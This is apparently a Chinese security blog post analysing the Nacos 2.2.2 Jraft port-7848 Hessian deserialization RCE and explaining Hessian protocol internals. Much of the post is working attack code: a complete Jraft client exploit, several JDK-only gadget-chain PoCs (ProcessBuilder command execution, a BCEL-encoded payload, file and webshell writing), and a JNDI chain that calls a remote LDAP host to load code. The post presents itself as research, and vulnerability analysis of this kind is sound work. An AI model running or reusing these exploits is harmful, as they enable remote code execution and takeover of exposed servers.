1、起源
从朋友圈了解到nacos出了个洞,看起来是rce还挺唬人的,客户部署量也比较多。本着为甲方客户爸爸负责到底的原则,对此漏洞进行了应急追踪。最后也根据官方文档成功构造好Jraft客户端与Hessian反序列化only jdk Gadget的EXP。以下第二章节内容为当时追踪分析的笔记,未提供exp,仅技术交流讨论。第三章节是Hessian反序列化相关的知识补充,在完成了此漏洞的应急分析后,对整个过程复盘时发现自己对于Hessian的相关知识了解不深,想着近些年微服务/业务上云等大趋势演进,RPC远程通信框架/协议的安全问题一定会是未来安全的重点。索性趁着这次机会趁热打铁,把Hessian协议的知识总结消化一波。 如果对文章有疑问/建议或者想一起研究交流的师傅,欢迎私信😜
PS:本文仅用于技术讨论。严禁用于任何非法用途,违者后果自负!
笔者在之前的几篇文章中,对rpc相关的thrift、rmi、jmx等协议的详细分析
Attack JMX Service的打开方式
VMware-vRealize-Log-Insight-thrift-RPC调用RCE
论RMI的攻防演进史
2、补丁分析
Nacos是 Dynamic Naming and Configuration Service的首字母简称,是阿里推出的一个易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos构建了以”服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施,其在各行各业的应用极为普遍广泛。
在Nacos新版本发布说明提取到几个关键词: Jraft请求处理、hessian反序列化未限制、RCE、7848端口
https://github.com/alibaba/nacos/releases
检索下官方文档关于Jraft请求的信息
看到 https://nacos.io/zh-cn/docs/v2/upgrading/2.0.0-compatibility.html Nacos默认开启了7848端口,用于处理服务端见的Raft相关请求
继续看下修复的commit,涉及了Hessian反序列化操作。添加了NacosHessianSerializerFactory白名单 https://github.com/alibaba/nacos/pull/10542/commits
下载存在漏洞的版本nacos-server-2.2.2.zip,解压后启动运行:startup.cmd -m standalone
在InstanceMetadataProcessor、ServiceMetadataProcessor的 onApply 方法中调用了serializer.deserialize,而默认的serializer为HessianSerializer
https://github.com/alibaba/nacos/pull/10542/commits/5804f5a46116dc1197bdd2c224d1368227b51232#diff-c8b875833c2f8a21ed873c9c1053b237ab04d4180caeea141e51c1932f665dae
这里就是Hessian反序列化的触发点,nacos官方对方法com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor#onApply写了测试用例:com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessorTest#testOnApply,在这个例子中可以看到方法将实际序列化/反序列化操作的MetadataOperation对象放入WriteRequest#data_参数中、将操作标识ADD放入operation_
参数中
接着我们根据sofastack的jraft用户指南编写Jraft客户端将数据发送至7848端口的jraft服务,https://www.sofastack.tech/projects/sofa-jraft/counter-example/
碰到错误:null default instance: com.alibaba.nacos.consistency.entity.WriteRequest
经过调试是com.alipay.sofa.jraft.rpc.impl.GrpcClient#parserClasses中未包含com.alibaba.nacos.consistency.entity.WriteRequest
所以在运行exp前需要将WriteRequest添加到parserClasses、defaultMarshallerRegistry(marshaller方法会用到)参数中,找到了com.alipay.sofa.jraft.rpc.impl.GrpcRaftRpcFactory类,可调用registerProtobufSerializer方法进行添加
1 2 3 4 5 6 7
| WriteRequest writeRequest = WriteRequest.newBuilder().setData(ByteString.copyFrom(new HessianSerializer().serialize(Hessian_PKCS9Attributes_SwingLazyValue_JavaWrapper.getObject()))).setGroup(groupId).setOperation("Write").build();
GrpcRaftRpcFactory raftRpcFactory = (GrpcRaftRpcFactory) RpcFactoryHelper.rpcFactory(); raftRpcFactory.registerProtobufSerializer(WriteRequest.class.getName(),writeRequest); MarshallerRegistry marshallerRegistry = raftRpcFactory.getMarshallerRegistry(); marshallerRegistry.registerResponseInstance(WriteRequest.class.getName(), writeRequest);
|
最终构造好的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import com.alibaba.nacos.consistency.entity.WriteRequest; import com.alibaba.nacos.consistency.serialize.HessianSerializer; import com.alipay.sofa.jraft.RouteTable; import com.alipay.sofa.jraft.conf.Configuration; import com.alipay.sofa.jraft.entity.PeerId; import com.alipay.sofa.jraft.option.CliOptions; import com.alipay.sofa.jraft.rpc.impl.GrpcRaftRpcFactory; import com.alipay.sofa.jraft.rpc.impl.MarshallerRegistry; import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl; import com.alipay.sofa.jraft.util.Endpoint; import com.alipay.sofa.jraft.util.RpcFactoryHelper; import com.google.protobuf.ByteString;
public class JraftClient { public static void main(String[] args) throws Exception { String groupId = "naming_instance_metadata"; Configuration conf = new Configuration(); RouteTable.getInstance().updateConfiguration(groupId, conf);
CliClientServiceImpl cliClientService = new CliClientServiceImpl(); CliOptions cliOptions = new CliOptions(); cliClientService.init(cliOptions); RouteTable.getInstance().refreshLeader(cliClientService, groupId, 1000000); PeerId leader = RouteTable.getInstance().selectLeader(groupId); System.out.println("Leader is " + leader);
WriteRequest writeRequest = WriteRequest.newBuilder().setData(ByteString.copyFrom(new HessianSerializer().serialize(evilSerData))).setGroup(groupId).setOperation("Write").build();
GrpcRaftRpcFactory raftRpcFactory = (GrpcRaftRpcFactory) RpcFactoryHelper.rpcFactory(); raftRpcFactory.registerProtobufSerializer(WriteRequest.class.getName(),writeRequest); MarshallerRegistry marshallerRegistry = raftRpcFactory.getMarshallerRegistry(); marshallerRegistry.registerResponseInstance(WriteRequest.class.getName(), writeRequest);
cliClientService.getRpcClient().invokeSync(new Endpoint("host", 7848), writeRequest, 10000); } }
|
3、Hessian反序列化
客户端构造好了,接着就是去构造恶意的序列化数据。其实就是找Hessian链,最开始用的是 https://github.com/mbechler/marshalsec 中的SpringPartiallyComparableAdvisorHolder链,但是需要打jndi,过程中也碰到了构造数据时意外触发toString方法就会直接触发rce的问题,所以最后用了jdk原生的PKCS9Attribute触发bcel的反序列化链完成了RCE,在完成exp编写后想着对Hessian的了解不多,索性再花些时间整体看看Hessian反序列化的要点、利用及坑点,下次再碰到类似问题可以快速解决,提高分析效率。
3.1 Hessian历史
Hessian是一种用于连接WEB得简单二进制协议,由caucho( https://caucho.com/ )开发,从06年发布3.0.20版本到19年发布的4.0.60版本,实际在maven仓库中可以下载到最新的4.0.66版本: https://mvnrepository.com/artifact/com.caucho/hessian
Hessian虽然默认集成在resin中,但是使用起来只需要com.caucho.hessian.client、com.caucho.hessian.server包,并不需要其他的Resin类。所以也可以用于较小的客户端applet、用于手机/电子游戏机等j2ME设备连接Resin服务器,也可以用于EJB服务。整体分为Hessian1与Hessian2两个版本,在实际使用中以序列化数据中的header进行区分。
Hessian由于其跨语言、小型轻量级、快速紧凑,所以在RPC框架应用中极为流行。
官网链接:http://hessian.caucho.com/
3.2 序列化反序列化过程
我们模拟一次客户端使用Hessian协议与服务端的一次交互过程来分析下该协议是如何处理数据的。Hessian的使用一般有两种形式:1、基于Web Servlet;2、与Spring结合使用。本次演示我们基于Web Servlet的形式来分析
总体来说利用Hessian协议进行一次远程方法调用:客户端->序列化数据发送到服务端->服务端反序列化数据并调用方法->服务端将方法执行结果进行序列化并返回给客户端->客户端反序列化数据拿到方法的执行结果
与其他RPC协议如RMI调用类似,也是基于序列化数据进行传输,那么我们深入代码看看Hessian是如何处理的,存在哪些安全风险~
3.2.1 基于Web Servlet形式
服务端引入com.caucho-hessian-4.0.63.jar,servlet可以为HessianServlet、也可以是继承自HessianServlet的自实现类,我这里演示在web.xml中将HessianServlet作为路由/hessian的处理handler,并将其暴露给客户端进行调用,初始化参数配置客户端可调用的目标类BasicService
1、web.xml
1 2 3 4 5 6 7 8 9 10 11 12
| <servlet> <servlet-name>hessianServlet</servlet-name> <servlet-class>com.caucho.hessian.server.HessianServlet</servlet-class> <init-param> <param-name>service-class</param-name> <param-value>com.example.hessianserver.BasicService</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>hessianServlet</servlet-name> <url-pattern>/hessian</url-pattern> </servlet-mapping>
|
2、接口及实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| BasicAPI接口 public interface BasicAPI { public void setGreeting(String greeting); public String hello(); public User getUser(); public String getObject(Object obj); }
BasicService实现类 public class BasicService implements BasicAPI { private String _greeting = "Hello, world"; @Override public void setGreeting(String greeting) { _greeting = greeting; } @Override public String hello() { return _greeting; } @Override public User getUser() { return new User("pwnull", "pwnull"); } @Override public String getObject(Object obj) { return obj.toString(); } }
|
3、User pojo类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import java.io.Serializable; public class User implements Serializable { private static final long serialVersionUID = 153519254199840035L; String userName = "pwnull"; String password = "pwnull"; public User(String user, String pwd){ this.userName = user; this.password = pwd; } public String getUserName(){ return userName; } public String getPassword(){ return password; } }
|
客户端调用:
同样引入com.caucho-hessian-4.0.63.jar,再创建与服务端一样的BasicService接口及User pojo类,客户端通过HessianProxyFactory工厂类创建代理对象并进行方法调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.example; import java.net.MalformedURLException; import com.caucho.hessian.client.HessianProxyFactory; import com.example.hessianserver.BasicAPI;
public class hessianClient { public static void main(String[] args) throws MalformedURLException { String url ="http://127.0.0.1:8080/hessian"; SnmpAcl snmpAcl = new SnmpAcl("1"); HessianProxyFactory factory = new HessianProxyFactory(); BasicAPI basic = (BasicAPI) factory.create(BasicAPI.class, url); System.out.println("Hello:" + basic.hello()); System.out.println("Hello:" + basic.getUser().getUserName()); System.out.println("Hello:" + basic.getUser().getPassword()); } }
|
如下分析是基于最新版4.0.63,由于之前重点分析过rmi协议,再次看hessian RPC协议时感觉非常顺畅。整体流程与RMI类似,但是对于自定义类的处理与RMI不同,因此相对应的漏洞利用方式也有些区别。继续看
1 2 3 4
| String url ="http://127.0.0.1:8080/hessian"; HessianProxyFactory factory = new HessianProxyFactory(); BasicAPI basic = (BasicAPI) factory.create(BasicAPI.class, url); basic.hello();
|
在客户端调用远端的hello方法时,处理逻辑在com.caucho.hessian.client.HessianProxy#invoke中:1、判断调用方法是否是内置方法,如果是那么会在本地执行并返回结果;2、如果是远端方法,会调用HessianProxy#sendRequest进行数据组装并发送;3、客户端等待服务端返回方法的执行结果,Hessian传输的是序列化数据,所以在拿到结果后需要进行反序列化读取
在HessianProxy#sendRequest中添加Hessian的header请求头、在HessianOutput#call中组装数据、序列化写入参数对象
客户端调用Hessian2Input#readReply 反序列化读取服务端的返回数据
服务端在HessianServlet#service方法中处理客户端的调用请求
在HessianSkeleton#invoke中读取数据的header字段,这里默认是CALL_1_REPLY_2,表示使用版本协议1调用,使用版本协议2返回,并创建了对应版本的HessianInput(版本1)输入流、Hessian2Output(版本2)输出流
在HessianSkeleton#invoke方法中:1、获取目标方法;2、获取方法对应参数;3、反射调用;4、将方法的执行结果通过AbstractHessianOutput#writeReply方法写入流中并传回给客户端
服务端在处理过程中用到的几个重点类及方法
1 2 3 4 5
| com.caucho.services.server.AbstractSkeleton#AbstractSkeleton 初始化时接收调用接口类型,并将接口方法添加到属性_methodMap中,其格式为:方法名__参数长度、方法名_参数1类型_参数2类型
com.caucho.hessian.server.HessianSkeleton 继承自AbstractSkeleton,初始化时接收接口与实现类,并将实现类赋值给属性service
|
如上是一次完整的客户端与服务端的调用交互过程,在调用序列化writeObject/反序列化readObject方法时,都会根据目标类型选择不同的序列化/反序列化器。我们整体来看下
3.2.2 序列化/反序列化器
根据SerializerFactory#getDefaultSerializer跟
来分析,默认的序列化/反序列化器是 UnsafeSerializer/UnsafeDeserializer,当客户端序列化自定义Object对象(例子为SnmpAcl对象)时,会调用UnsafeSerializer#writeObject,这个方法兼容了Hessian1与Hessian2的格式写法:统一调用AbstractHessianOutput#writeObjectBegin,Hessian1的HessianOutput未实现此方法,所以会调用到HessianOutput#writeMapBegin写入Map的格式数据,而Hessian2实现了此方法,所以会调用到Hessian2Output#writeObjectBegin,不写入Map的格式数据
com.caucho.hessian.io.AbstractHessianOutput#writeObjectBegin
Hessian1自定义类型的序列化初始方法:com.caucho.hessian.io.HessianOutput#writeMapBegin
Hessian2自定义类型的序列化初始方法:com.caucho.hessian.io.Hessian2Output#writeObjectBegin
当使用Hessian1协议传输自定义数据类型时,服务端总会使用UnsafeDeserializer#readMap进行处理:1、使用_unsafe.allocateInstance创建目标类实例;2、调用目标类属性对应类型的反序列化器,readXXX方法读取属性值并调用Unsafe#putObject写入
当使用Hessian2协议传输自定义数据类型时,服务端会使用UnsafeDeserializer#readObject进行处理:1、使用_unsafe.allocateInstance创建目标类实例;2、调用目标类属性对应类型的反序列化器,readXXX方法读取属性值并调用Unsafe#putObject写入
所以在Hessian1中,自定义数据类型都是包装为Map类型进行序列化/反序列化操作的,Hessian1没有对Object进行单独处理。到了Hessian2中,才对自定义数据类型(Object)进行了单独处理。这个特性需要注意下。
另外要注意客户端默认为Hessian1格式请求、以Hessian2格式响应,即上面提到的header字段CALL_1_REPLY_2
,当然也可以使用setHessian2Request/setHessian2Reply方法显式指定请求及响应的协议版本
1 2 3
| HessianProxyFactory factory = new HessianProxyFactory(); factory.setHessian2Request(true); factory.setHessian2Reply(true);
|
com.caucho.hessian.client.HessianProxyFactory#getHessianOutput
3.2.3 Serializable接口问题
客户端调用远程方法时,获取默认序列化器UnsafeSerializer时会判断类是否实现Serializable接口,或者判断是否设置了变量isAllowNonSerializable,如果isAllowNonSerializable设置为true,则允许序列化未实现Serializable接口的类,并且服务端不会检测类是否实现了Serializable接口。这个是与Java原生反序列化不同的一个点:Hessian可以对未实现Serializable接口的类对象进行序列化/反序列化操作
com.caucho.hessian.io.SerializerFactory#getDefaultSerializer
3.3 漏洞及利用
从上面的分析能看出来,无论Hessian1还是2,在处理自定义类型(Object)对象都是通过_unsafe.allocateInstance
创建实例、readObject获取值、Unsafe#putObject
写入属性值。其中readObject方法与java原生反序列化流程也不同,不会在过程中调用目标类的readObject方法。与fastjson反序列化也不同,不会调用目标属性的getter/setter方法进行赋值。那么有哪些触发点可以供我们使用?答案就是Map!Map在Hessian反序列化中占有重要地位
Hessian对于Map类型的反序列化处理在com.caucho.hessian.io.MapDeserializer#readMap中,初始化HashMap、TreeMap,接着调用各自的put方法,而map的put方法一直是反序列化链的”明星”方法,出场率极高。
java.util.HashMap#put会调用到key的hashCode、equals方法检查key是否重复
java.util.TreeMap#put会调用key的compareTo、comparator属性的compare方法进行排序
所以寻找hessian反序列化链的要点:
1、起点是hashCode/equals/compareTo等方法
2、执行方法不依赖类本身readObject/getter/setter等方法的逻辑
3、无论目标类是否实现Serializable接口,都不影响反序列化操作
4、目标类的构造方法必须是public状态(_unsafe.allocateInstance创建实例时并未调用setAccessable设置)
hessian目前在 https://github.com/mbechler/marshalsec 中的链:Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder、SpringAbstractBeanFactoryPointcutAdvisor,挑XBean与Resin分析下,再看看JDK原生的两条链
3.3.1 Resin利用链
Resin利用链入口是com.sun.org.apache.xpath.internal.objects.XString#equals方法,最终触发点是 javax.naming.spi.NamingManager#getObjectFactoryFromReference远程加载类,高版本的JDK关闭了加载,但是存在一些factory的绕过,不过多阐述。在笔者之前的JNDI注入文章说明过:https://pwnull.github.io/2022/jndi-injection-history/
1 2 3 4 5 6 7 8 9 10 11 12
| getObjectFactoryFromReference:156, NamingManager (javax.naming.spi) getObjectInstance:319, NamingManager (javax.naming.spi) getContext:439, NamingManager (javax.naming.spi) getTargetContext:55, ContinuationContext (javax.naming.spi) composeName:180, ContinuationContext (javax.naming.spi) toString:353, QName (com.caucho.naming) equals:392, XString (com.sun.org.apache.xpath.internal.objects) putVal:634, HashMap (java.util) put:611, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:577, SerializerFactory (com.caucho.hessian.io) readObject:1160, HessianInput (com.caucho.hessian.io)
|
3.3.2 XBean利用链
XBean利用链与resin的很类似,均利用了XString#equals、触发点NamingManager#getObjectFactoryFromReference,只不过由QName换成了Binding。留个问题:为什么不使用XString直接去触发,而是要使用spring中的HotSwappableTargetSource
1 2 3 4 5 6 7 8 9 10 11 12
| getObjectFactoryFromReference:156, NamingManager (javax.naming.spi) getObjectInstance:319, NamingManager (javax.naming.spi) resolve:73, ContextUtil (org.apache.xbean.naming.context) getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context) toString:192, Binding (javax.naming) equals:392, XString (com.sun.org.apache.xpath.internal.objects) equals:104, HotSwappableTargetSource (org.springframework.aop.target) putVal:634, HashMap (java.util) put:611, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:577, SerializerFactory (com.caucho.hessian.io) readObject:1160, HessianInput (com.caucho.hessian.io)
|
3.3.3 JDK原生链
0ctf2022的题目 hessian only jdk,题目预期解是寻找只依赖于jdk的Hessian反序列化利用链。题目信息在这里:https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk
Hessian服务端在还原Map类型数据时,会调用put方法,在put方法中会触发key、value的equals/hashCode等操作,这是反序列化链的开始。另外在Hessian反序列化过程中,如果客户端指定的类型type与实际对象类型不一致时会调用异常处理函数except,这个函数会调用obj#toString方法打印obj。这个洞被分配了编号CVE-2021-43297。所以利用这个漏洞为Hessian反序列化链增加了一个入口:toString方法。现在可用的入口方法:equals/hashCode/toString/compareTo
另外Hashtable#equals方法会触发其value值的get方法,在JDK中存在javax.swing.UIDefaults#get(Object)->sun.swing.SwingLazyValue#createValue->sun.reflect.misc.MethodUtil#invoke(static)
这条链路,方法sun.swing.SwingLazyValue#createValue可以调用任意静态方法或者是任意类的构造方法(va2),所以Hessian JDK原生链基本都是寻找静态函数--->RCE
的链路,主要有两种思路:1、修改环境配置,绕过JDK安全限制;2、静态方法直接触发RCE。当然还有从xxx.toString->invoke()->static function->rce的链路
3.3.3.1 MethodUtils.invoke
有师傅找到了sun.reflect.misc.MethodUtil#invoke这个静态方法,将调用任意静态方法转化为了调用任意方法,结合ProcessBuilder.start完成RCE
生成序列化数据的poc代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static HashMap<Object, Object> getObject2() throws Exception { Object target = new ProcessBuilder("cmd.exe","/c","calc"); Method invoke = sun.reflect.misc.MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method start = ProcessBuilder.class.getMethod("start"); SwingLazyValue swingLazyValue = new SwingLazyValue( "sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{start, target, new Object[]{}}}); Object[] keyValueList = new Object[]{"abc",swingLazyValue}; UIDefaults uiDefaults1 = new UIDefaults(keyValueList); UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<>(); Hashtable<Object, Object> hashtable2 = new Hashtable<>(); hashtable1.put("a",uiDefaults1); hashtable2.put("a",uiDefaults2); return MakeUtils.makeMap(hashtable1,hashtable2); }
|
整体的调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| start:1007, ProcessBuilder (java.lang) invoke调用 invoke:275, MethodUtil (sun.reflect.misc) invoke调用 createValue:73, SwingLazyValue (sun.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) equals:813, Hashtable (java.util) equals:813, Hashtable (java.util) putVal:634, HashMap (java.util) put:611, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:577, SerializerFactory (com.caucho.hessian.io) readObject:1160, HessianInput (com.caucho.hessian.io)
|
3.3.2 PKCS9Attributes#toString->JavaWrapper._main
这条链的前半部分利用了PKCS9Attributes#toString->UIDefaults#get
,后半部分静态方法使用的是com.sun.org.apache.bcel.internal.util.JavaWrapper#_main
,这个方法中classloader(com.sun.org.apache.bcel.internal.util.ClassLoader)加载bcel串得到class,接着再调用自定义类的 _main
方法。另外bcelclassloader com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass加载class时使用的是defineClass而不是Class.forName,不会直接加载静态代码块中的代码,所以需要将执行的代码写入到 _main
方法中完成利用
生成序列化数据的poc代码,这个需要注意在序列化数据时提前写入一个字符导致触发expect进而完成Hessian2Input#readObject--->XXX.toString
得链路连接。经研究,除了67,另外79、81、86、88都是可以的,因为都调用了readInt,最终都可以触发expect方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.Utility; import org.utils.Payload; import org.utils.Reflections; import sun.reflect.ReflectionFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue; import javax.swing.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException;
public class JavaWrapperBcel { public static void main(String[] args) throws Exception { Payload.run267(getJavaWrapperBcelObject()); } public static Object getJavaWrapperBcelObject() throws Exception { PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults(); String payload = "$$BCEL$$" + Utility.encode(Repository.lookupClass(EvilMain.class).getBytes(), true); System.out.println(payload); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}})); Reflections.setFieldValue(s,"attributes",uiDefaults); return s; } public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } }
|
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| exec:347, Runtime (java.lang) _main:5, $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$c2$40$Q$7d$L$85$d2$8a$f2$r$f8$fd$7d$Q$3c$d8$8b$H$T$8c$X$a3$a7F$8d$Y$3cx0K$dd$d4$r$a5$rm$n$fc$z$_j$3c$f8$D$fcQ$c6$d9j$acQ6$d9y$9973$ef$cdf$df$3f$5e$df$A$i$60$c7D$k$N$T$LX$y$60I$e1$b2$8e$V$j$ab$M$f9$p$e9$cb$f8$98$n$dblu$Z$b4$93$e0$5e0$94l$e9$8b$f3$d1$a0$t$c2k$de$f3$88$a9$da$81$c3$bd$$$P$a5$ca$bfI$z$7e$90QR$L$5dKL$f8$60$e8$J$x$WQ$dcf$c8$dd$N$b8$f4$Z$g$cd$5b$bb$cf$c7$dc$f2$b8$efZ$9d8$94$be$dbN$acx$e8$8e$ZjS$ca$M$e6$e9$c4$R$c3X$G$7e$a4c$8d$f2N0$K$jq$s$95$ad$a1$y$f6$d5T$R$3a$K$3a$d6$8b$d8$c0$sI$d2$8aN$R$5b$d8f$u$ff$dd$89$a8$d4$e8$a2$d7$X$OQ$b5$94$faqd$a8$a4$ec$d5$c8$8f$e5$80LMW$c4$3fI$bd$d9$b2$ff$f5$d0$da$9a$98$I$87a$b79$e5$c9$bf$a8$cb0pD$U$b5i$d3$i$fd$8c$3a$Z0$f5$W$8a$Ge$W$n$p$cc$ed$3d$83$3d$se$93b$3e$n$b3$98$a1X$fcj$m$9c$r40$87$Su$a9$e1$c3D$M0_$90$a9f$9f$a0$dd$a4$K$s$a1$9a2H$xU1QF$85$b0JW$p$a6Fw$3e$99$a9$7f$C$82$f0$e5$edD$C$A$A invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util) _main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) createValue:73, SwingLazyValue (sun.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) getAttribute:265, PKCS9Attributes (sun.security.pkcs) toString:334, PKCS9Attributes (sun.security.pkcs) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) expect:2865, Hessian2Input (com.caucho.hessian.io) readString:1407, Hessian2Input (com.caucho.hessian.io) readObjectDefinition:2163, Hessian2Input (com.caucho.hessian.io) readObject:2105, Hessian2Input (com.caucho.hessian.io)
|
这个没什么好说得,直接写文件,在web环境下直接写webshell就行。当然也可以先写入动态链接库,再调用 System#load 加载进行命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import com.sun.org.apache.xml.internal.security.utils.JavaUtils; import org.utils.MakeUtils; import org.utils.Payload; import sun.swing.SwingLazyValue; import javax.swing.*; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Hashtable;
public class JavaUtilsWriteFile { public static void main(String[] args) throws Exception { Payload.run(getUtilsWriteFileObject()); } public static HashMap<Object, Object> getUtilsWriteFileObject() throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\calc.dll")); String fileName = "E:\\calc-result.dll"; SwingLazyValue swingLazyValue = new SwingLazyValue( "com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{fileName,bytes}); Object[] keyValueList = new Object[]{"abc",swingLazyValue}; UIDefaults uiDefaults1 = new UIDefaults(keyValueList); UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<>(); Hashtable<Object, Object> hashtable2 = new Hashtable<>(); hashtable1.put("a",uiDefaults1); hashtable2.put("a",uiDefaults2); return MakeUtils.makeMap(hashtable1,hashtable2); } }
|
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12
| writeBytesToFilename:85, JavaUtils (com.sun.org.apache.xml.internal.security.utils) invoke调用 createValue:73, SwingLazyValue (sun.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) equals:815, Hashtable (java.util) equals:815, Hashtable (java.util) putVal:636, HashMap (java.util) put:613, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:577, SerializerFactory (com.caucho.hessian.io) readObject:1160, HessianInput (com.caucho.hessian.io)
|
3.3.4 System.setProperty + JNDI
jdk中设置环境变量得方法java.lang.System#setProperty是静态方法,符合SwingLazyValue#createValue调用的条件。所以我们可以通过调用setProperty复活高版本下的JNDI注入,JNDI注入可参考: https://pwnull.github.io/2022/jndi-injection-history/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import org.utils.MakeUtils; import org.utils.Payload; import sun.swing.SwingLazyValue; import javax.swing.*; import java.util.HashMap; import java.util.Hashtable;
public class SetPropertyJndi {
public static void main(String[] args) throws Exception { String className = "java.lang.System"; String methodName = "setProperty"; String[] args1 = {"com.sun.jndi.ldap.object.trustURLCodebase", "true"}; String[] args2 = {"com.sun.jndi.rmi.object.trustURLCodebase", "true"}; String[] args3 = {"java.rmi.server.useCodebaseOnly", "false"}; Payload.run(getSetPropertyJndiObject(className,methodName,args1)); Payload.run(getSetPropertyJndiObject(className,methodName,args2)); Payload.run(getSetPropertyJndiObject(className,methodName,args3)); Payload.run(getSetPropertyJndiObject("javax.naming.InitialContext","doLookup",new Object[]{"ldap://192.168.232.238:9999/rceexp"})); } public static HashMap<Object, Object> getSetPropertyJndiObject(String className,String methodName,Object[] args) throws Exception { SwingLazyValue swingLazyValue = new SwingLazyValue(className, methodName, args); Object[] keyValueList = new Object[]{"abc",swingLazyValue}; UIDefaults uiDefaults1 = new UIDefaults(keyValueList); UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<>(); Hashtable<Object, Object> hashtable2 = new Hashtable<>(); hashtable1.put("a",uiDefaults1); hashtable2.put("a",uiDefaults2); return MakeUtils.makeMap(hashtable1,hashtable2); } }
|
调试看到高版本JDK下的trustURLCodebase、useCodebaseOnly变量已成功修改
1 2
| String env=System.getProperty("java.runtime.version").toString().toString()+"$"+System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase").toString()+"$"+System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase").toString()+"$"+System.getProperty("java.rmi.server.useCodebaseOnly").toString(); env
|
另外还有几个方法,效果与上面分析的类似,就不一一列举分析
1 2 3 4
| DumpBytecode.dumpBytecode + System.load 写入文件+System.load调用 com.sun.org.apache.xalan.internal.xslt.Process._main sun.tools.jar.Main.main System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm openjdk
|
另外在分析Hessian链中,需要注意的问题是IDEA在调试时会自动调用toString方法打印字符串,而分析的链正是基于toString,提前调用会引发错误,解决方案是在设置中取消勾选红框选项
4、总结
